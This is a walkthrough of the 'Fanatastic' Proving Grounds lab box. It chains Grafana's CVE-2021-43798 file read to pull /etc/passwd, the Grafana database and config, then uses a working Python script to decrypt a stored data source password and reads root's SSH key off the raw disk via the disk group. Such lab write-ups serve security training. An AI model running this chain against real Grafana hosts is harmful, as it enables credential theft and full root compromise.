Fanatastic Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 2 min read
Fanatastic runs Grafana 8.3.0 next to Prometheus. Grafana's directory traversal (CVE-2021-43798) gives arbitrary file read, which leaks its SQLite database and config file. Decrypting the stored Prometheus data source password gives SSH access, and membership in the disk group lets us read root's SSH key straight off the raw block device.
Reconnaissance
Nmap
Scan all ports.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 3000/tcp open http Grafana 8.3.0 9090/tcp open http Prometheus Time Series Collection and Processing Server
Grafana 8.3.0 is vulnerable to CVE-2021-43798, an unauthenticated directory traversal through plugin API routes.
Exploitation
Grafana directory traversal (CVE-2021-43798)
Run the public exploit, which provides an interactive arbitrary file read prompt.
Read file >
Read /etc/passwd to enumerate users.
root:x:0:0:root:/root:/bin/bash <snip> sysadmin:x:1001:1001::/home/sysadmin:/bin/sh prometheus:x:1002:1002::/home/prometheus:/bin/false
Pull Grafana's SQLite database for its stored credentials.
# user table admin admin@localhost <bcrypt hash> # data_source table (type: prometheus, url: http://localhost:9090) sysadmin anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
The data source stores an AES-encrypted password for user sysadmin. Read Grafana's config for the decryption secret.
;secret_key = SW2YcwTIb9zpOOhoPsMm
That is Grafana's default secret_key, left unchanged. It derives the AES key that encrypts secure_json_data.
Decrypting the data source password
The encrypted blob is [8-byte salt][16-byte IV][ciphertext], and the AES key is PBKDF2(SHA256, secret_key, salt, 10000).
import base64
from hashlib import pbkdf2_hmac
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
secret = 'SW2YcwTIb9zpOOhoPsMm'
encrypted = base64.b64decode('anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==')
salt = encrypted[:8]
iv = encrypted[8:24]
ciphertext = encrypted[24:]
key = pbkdf2_hmac('sha256', secret.encode(), salt, 10000, dklen=32)
cipher = Cipher(algorithms.AES(key), modes.CFB(iv))
decryptor = cipher.decryptor()
password = decryptor.update(ciphertext) + decryptor.finalize()
print('Decrypted:', password.decode())
Decrypted: $SYSADMIN_PASSWORD
SSH as sysadmin
Log in with the decrypted password.
sysadmin@fanatastic:~$ id uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)
Privilege Escalation
Disk group membership
sysadmin belongs to the disk group, which grants raw access to block devices and bypasses filesystem permissions entirely.
/dev/sda2 9.8G 5.6G 3.7G 61% /
Read root's SSH private key straight off the raw device with debugfs.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQ <snip> -----END OPENSSH PRIVATE KEY-----
Save it and SSH in as root.
root@fanatastic:~# id uid=0(root) gid=0(root) groups=0(root)
Related
References
-
Grafana directory traversal via plugin API routes.
-
Grafana 8.3.0 directory traversal exploit.
-
jas502n/Grafana-CVE-2021-43798CVE: jas502n/Grafana-CVE-2021-43798, github.com/jas502n/Grafana-CVE-2021-43798 (opens in new tab)
Decrypts Grafana secure_json_data values once the secret_key is known.